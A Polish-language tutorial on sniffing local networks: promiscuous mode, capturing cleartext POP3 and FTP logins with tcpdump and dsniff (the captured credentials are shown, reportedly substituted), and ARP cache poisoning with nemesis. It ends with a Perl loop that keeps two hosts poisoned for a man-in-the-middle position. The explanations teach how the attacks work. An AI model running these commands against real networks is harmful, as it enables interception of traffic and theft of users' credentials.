Szperanie w sieciach lokalnych (praktyka) |
---=====[ Szperanie w sieciach lokalnych (praktyka) ]=====---
:. Wtęp
W tym artykule postaram się przedstawić metody przechwytywania pakietów w sieciach przełączanych i nieprzełączanych. Artykuł ma charakter edukacyjny. Adresy i hasła w nim zawarte zostały podmienione z powodów dla wszystkich oczywistych.
Z artykułu dowiesz się:
* jak przełączyć urządzenia sieciowe do trybu nasłuchiwania;
* jak przechwycić pakiety w sieciach przełączalnych i nieprzełączalnych;
* jak na podstawie adresu IP uzyskać MAC adres;
* jak zatruć pamięć podręczną ARP.
Powinieneś mieć pojęcie na temat:
* Budowy sieci przełączalnych i nieprzełączalnych;
* Warstwy sieci (transportowa/danych);
* Pracy z systemem Linux.
W artykule użyto narzędzi
* ifconfig;
* tcpdump;
* dsniff;
* ping;
* arp;
* nemesis.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
:. Sniffing
Od warstwy łącza zleży, czy dana sieć pracuje jako sieć przełączana. W przypadku sieci nieprzełączanej pakiety ethernet są przekazywane przez wszystkie urządzenia w sieci, ponieważ przyjęto założenie, że określone urządzenie sieciowe, będzie badało tylko pakiety skierowane na jego adres docelowy. Większość urządzeń można jednak przestawić na tryb nasłuchiwania (ang. promiscuous mode), przez co możliwe będzie badanie wszystkich pakietów, niezależnie od ich adresu docelowego. Większość programów do przechwytywania pakietów, takich jak tcpdump, domyślnie ustawiają taki tryb pracy interfejsu sieciowego. Do włączenia trybu podsłuchu można użyć polecenia ifconfig.
Kod:
[ROOT] ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:CC:CC:CC:CC
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 MiB) TX bytes:0 (0.0 MiB)
[ROOT] ifconfig eth0 promisc
[ROOT] ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:CC:CC:CC:CC
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 MiB) TX bytes:0 (0.0 MiB)
Sztuka przechwytywania pakietów, które nie powinny być ujawniane publicznie nazywana jest szperaniem (ang. sniffing). Włączenie trybu podsłuchu w sieci, może ujawnić wiele ciekawych informacji, co ilustruje poniżej
Kod:
[ROOT] tcpdump -l -X 'ip host 172.17.9.211'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
10:32:12.601771 IP 172.17.9.211.1359 > www.poczta.interia.pl.pop3: .
ack 36 win 730 nop,nop,timestamp 12811522 178544942
0x0000: 4510 0034 29da 4000 4006 40bf ac11 09d3 E..4).@.@.@.....
0x0010: d94a 40ec 054f 006e 155d 550b abe3 db7c .J@..O.n.]U....|
0x0020: 8010 02da c2aa 0000 0101 080a 00c3 7d02 ..............}.
0x0030: 0aa4 612e ..a.
10:32:17.663709 IP 172.17.9.211.1359 > www.poczta.interia.pl.pop3:
P 1:15(14) ack 36 win 730 nop,nop,timestamp 12816584 178544942
0x0000: 4510 0042 29db 4000 4006 40b0 ac11 09d3 E..B).@.@.@.....
0x0010: d94a 40ec 054f 006e 155d 550b abe3 db7c .J@..O.n.]U....|
0x0020: 8018 02da 6b27 0000 0101 080a 00c3 90c8 ....k'..........
0x0030: 0aa4 612e 7573 6572 207a 6162 6561 7479 ..a.user.willysx
0x0040: 0d0a ..
10:32:17.699442 IP www.poczta.interia.pl.pop3 > 172.17.9.211.1359:
P 36:42(6) ack 15 win 33304 nop,nop,timestamp 178545451 12816584
0x0000: 4500 003a 9d3e 4000 3806 d564 d94a 40ec E..:.>@.8..d.J@.
0x0010: ac11 09d3 006e 054f abe3 db7c 155d 5519 .....n.O...|.]U.
0x0020: 8018 8218 aa13 0000 0101 080a 0aa4 632b ..............c+
0x0030: 00c3 90c8 2b4f 4b20 0d0a ....+OK...
10:32:17.699547 IP 172.17.9.211.1359 > www.poczta.interia.pl.pop3: .
ack 42 win 730 nop,nop,timestamp 12816620 178545451
0x0000: 4510 0034 29dc 4000 4006 40bd ac11 09d3 E..4).@.@.@.....
0x0010: d94a 40ec 054f 006e 155d 5519 abe3 db82 .J@..O.n.]U.....
0x0020: 8010 02da acaf 0000 0101 080a 00c3 90ec ................
0x0030: 0aa4 632b ..c+
10:32:24.191927 IP 172.17.9.211.1359 > www.poczta.interia.pl.pop3:
P 15:30(15) ack 42 win 730 nop,nop,timestamp 12823114 178545451
0x0000: 4510 0043 29dd 4000 4006 40ad ac11 09d3 E..C).@.@.@.....
0x0010: d94a 40ec 054f 006e 155d 5519 abe3 db82 .J@..O.n.]U.....
0x0020: 8018 02da f3d5 0000 0101 080a 00c3 aa4a ...............J
0x0030: 0aa4 632b 7061 7373 2031 7161 7a78 7377 ..c+pass.str33ts
0x0040: 320d 0a x..
10:32:24.255646 IP www.poczta.interia.pl.pop3 > 172.17.9.211.1359:
P 42:48(6) ack 30 win 33304 nop,nop,timestamp 178546107 12823114
0x0000: 4500 003a 3784 4000 3806 3b1f d94a 40ec E..:7.@.8.;..J@.
0x0010: ac11 09d3 006e 054f abe3 db82 155d 5528 .....n.O.....]U(
0x0020: 8018 8218 8dec 0000 0101 080a 0aa4 65bb ..............e.
0x0030: 00c3 aa4a 2b4f 4b20 0d0a ...J+OK...
10:32:24.255752 IP 172.17.9.211.1359 > www.poczta.interia.pl.pop3: .
ack 48 win 730 nop,nop,timestamp 12823177 178546107
0x0000: 4510 0034 29de 4000 4006 40bb ac11 09d3 E..4).@.@.@.....
0x0010: d94a 40ec 054f 006e 155d 5528 abe3 db88 .J@..O.n.]U(....
0x0020: 8010 02da 906d 0000 0101 080a 00c3 aa89 .....m..........
0x0030: 0aa4 65bb ..e.
25 packets captured
50 packets received by filter
0 packets dropped by kernel
W przedstawionym powyżej przykładzie użytkownik willysx loguje się na server poczta.interia.pl POP3, z użyciem hasła str33tsx. Ponieważ proces uwierzytelniania podszas logowania nie był szyfrowany, nazwy użytkowników i hasła są umieszczane w przesyłanych pakietach. Narzędzie tcpdump jest wspaniałym programem do przechwytywania pakietów, ale istnieją bardziej wyspecjalizowane narzędzia, które służą głównie do wyszukiwania nazw użytkowników i haseł. Świetnym przykładem może być program Duga Songa o nazwie dsniff. Sposób jego użycia przedstawiłem poniżej:
Kod:
[ROOT] dsniff -n
dsniff: listening on eth0
-----------------
03/16/07 10:57:28 tcp 172.17.9.211.1934 -> 217.74.64.236.110 (pop)
user willysx
pass str33tsx
-----------------
03/16/07 11:03:13 tcp 172.17.9.211.4317 -> 212.163.22.86.21 (ftp)
USER sxs.pl
PASS 53Cr37
Jednak nawet bez narzędzi typu dsniff można z łatwością podsłuchać sieć, wychwytując pakiety zawierające nazwy użytkowników i hasła. Uzyskane informacje mogą zostać wykorzystane, do włamania się do innych systemów.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
:. Active sniffing
Pakiety w sieci przyłączanej są przekazywane tylko do portu docelowego, który jest ustalany na podstawie adresu MAC. Podszywanie to pierwszy krok procedury, dzięki której będzie możliwe przechwycenie pakietów z sicie przyłączanej. Kolejne elementy układanki są związane z ARP. Po pierwsze, jeśli odebrana zostanie odpowiedź ARP z adresem IP, który już znajduje się w pamięci podręcznej ARP, system odbiorcy nadpisze stare informacje nowym adresem MAC, jaki został odebrany w pakiecie. Po drugie, komputer może zaakceptować odpowiedź ARP, nawet jeśli nie wysłał żadnego żądania ARP. Dzieje się tak, ponieważ informacje o stanie ruchu ARP nie są przechowywane. Wymagałoby to przydzielenia dodatkowej pamięci, a także skomplikowałoby działanie protokołu, który powinien być prosty. Właściwe wykorzystanie tych trzech elementów umożliwi przechwytywanie ruchu sieciowego w środowisku sieci przełączalnych za pomocą techniki znanej jako przekierowanie ARP. Można wysłać fałszywe odpowiedzi ARP do niektórych urządzeń, co spowoduje nadpisanie wpisów w pamięci podręcznej ARP i wprowadzenie danych ( jest to tzw. zatruwanie pamięci podręcznej ARP). Aby przechwycić ruch sieciowy pomiędzy komputerami A i B, trzeba zatruć pamięć ARP systemu A w taki sposób, aby wpis dal adresu IP systemu B wskazywał na nasz komputer. Analogicznych zmian należy dokonać w systemie B. Nasz komputer , musi jedynie przekazywać poszczególne pakiety do właściwych odbiorców. Od tej chwili ruch pomiędzy systemami A i B, będzie odbywał się za naszym pośrednictwem. Ponieważ komputery A i B tworzą nagłówki ethernet pakietów na podstawie zawartości własnej pamięci ARP, ruch IP z systemu A do systemu B będzie przekazywany na adres MAC naszego komputera, podobnie jak ruch z B do A. Ponieważ przełącznik może filtrować ruch tylko na podstawie adresów MAC, nie będzie stanowił żadnej przeszkody. Musimy jedynie opakować przechwycone pakiety IP właściwymi nagłówkami ethernet, a następnie odesłać je spowrotem do przełącznika, który przekaże dane do oryginalnego miejsca docelowego. Należy zauważyć, że przełącznik działa poprawnie; atak przeprowadzono na komputery klientów, które zostały zmuszone do przekierowania ruchu sieciowego do niewłaściwego systemu. Ze względu na limit czasu ważności, komputer ofiary będzie regularnie wysyłał prawdziwe żądania ARP i odbierał poprawne odpowiedzi ARP. Oznacza to konieczność systematycznego zatruwania pamięci podręcznej ARP. Aby to osiągnąć wystarczy co pewien czas (np. co 10s) wysyłać fałszywe odpowiedzi do systemów A i B. W tym celu należy najpierw ustalić adresy MAC na podstawie IP komputerów A i B. Można to osiągnąć po prostu poprzez wysyłanie pakietów ping do obu systemów, gdyż każda próba połączenia IP jest związana z użyciem ARP.
Kod:
[ROOT] ping -c 1 -w 1 190.15.0.1
PING 190.15.0.1 (190.15.0.1) 56(84) bytes of data.
64 bytes from 190.15.0.1: icmp_seq=1 ttl=64 time=0.138 ms
--- 190.15.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.138/0.138/0.138/0.000 ms
<b>[ROOT] ping -c 1 -w 1 190.15.0.118</b>
PING 190.15.0.118 (190.15.0.118) 56(84) bytes of data.
64 bytes from 190.15.0.118: icmp_seq=1 ttl=64 time=0.138 ms
--- 190.15.0.118 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.138/0.138/0.138/0.000 ms
[ROOT] arp -na
? (190.15.0.1) at 00:00:00:AA:AA:AA [ether] on eth0
? (190.15.0.118) at 00:00:00:BB:BB:BB [ether] on eth0
[ROOT] ifconfig eth0 | head -n 1
eth0 Link encap:Ethernet HWaddr 00:00:CC:CC:CC:CC
Po wykonaniu tych operacji adresy MAC dla komputerów - 190.15.0.1 i 190.15.0.118 - znajdują się w pamięci podręcznej ARP. Informacje te są niezbędne, gdyż dzięki nim pakiety będą mogły trafić do właściwego miejsca docelowego po przekierowaniu do naszego komputera. Teraz tylko wystarczy regularnie wysyłać fałszywe odpowiedzi ARP. System 190.15.0.1 należy poinformować, że komputer 190.15.0.118 znajduje się pod adresem 00:00:00:CC:CC:CC, natomiast komputer 190.15.0.118, należy poinformować, że 190.15.0.1 znajduje się również pod adresem 00:00:00:CC:CC:CC. Te fałszywe pakiety, można przekazać do systemów ofiary za pomocą narzędzia o nazwie nemesis. Sposób wstrzyknięcia pakietów do obu systemów przedstawiam poniżej.
Kod:
[ROOT] nemesis arp -v -r -d eth0 -S 190.15.0.1 -D 190.15.0.118 -h 00:00:00:CC:CC:CC -m 00:00:00:AA:AA:AA -H 00:00:00:CC:CC:CC -M 00:00:00:AA:AA:AA
ARP/RARP Packet Injection
The NEMESIS Project Version 1.4beta3 (Build 22)
[MAC] 00:00:00:CC:CC:CC > 00:00:00:AA:AA:AA
[Ethernet type] ARP (0x0806)
[Protocol addr:IP] 190.15.0.1 > 190.15.0.118
[Hardware addr:MAC] 00:00:00:CC:CC:CC > 00:00:00:AA:AA:AA
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
ARP Packet Injected
<b>[ROOT] nemesis arp -v -r -d eth0 -S 190.15.0.118 -D 190.15.0.1 -h 00:00:00:CC:CC:CC -m 00:00:00:BB:BB:BB -H 00:00:00:CC:CC:CC -M 00:00:00:BB:BB:BB
ARP/RARP Packet Injection
The NEMESIS Project Version 1.4beta3 (Build 22)
[MAC] 00:00:00:CC:CC:CC > 00:00:00:BB:BB:BB
[Ethernet type] ARP (0x0806)
[Protocol addr:IP] 190.15.0.118 > 190.15.0.1
[Hardware addr:MAC] 00:00:00:CC:CC:CC > 00:00:00:BB:BB:BB
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
ARP Packet Injected
Przedstawione powyżej dwa polecenia spowodują sfałszowanie odpowiedzi ARP przesyłanych z systemu 190.15.0.1 do systemu 190.15.0.118 i vice versa. Oba komputery będą przesyłały pakiety danych na MAC adres napastnika 00:00:00:CC:CC:CC. Regularne wykonywanie tych poleceń, na przykład co 10 sekund sprawi, że pamięć podręczna ARP będzie zatruta przez cały czas, a ruch sieciowy będzie przechwytywany przez naszą maszynę.
Regularne wstrzykiwanie pakietów można zautomatyzować na przykład za pomocą prostego skryptu perla:
Kod:
#!/usr/bin/perl
while(1)
{
print "Przekierowanie....\n";
system("nemesis arp -v -r -d eth0 -S 190.15.0.1 -D 190.15.0.118 -h 00:00:00:CC:CC:CC -m 00:00:00:AA:AA:AA -H 00:00:00:CC:CC:CC -M 00:00:00:AA:AA:AA > NULL");
system("nemesis arp -v -r -d eth0 -S 190.15.0.118 -D 190.15.0.1 -h 00:00:00:CC:CC:CC -m 00:00:00:BB:BB:BB -H 00:00:00:CC:CC:CC -M 00:00:00:BB:BB:BB > NULL");
sleep 10;
}
W tym czasie wystarczy tylko logować pakiety płynące przez maszynę.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
:. Bibliografia
Jon Erickson - Hacking: The Art of Exploitation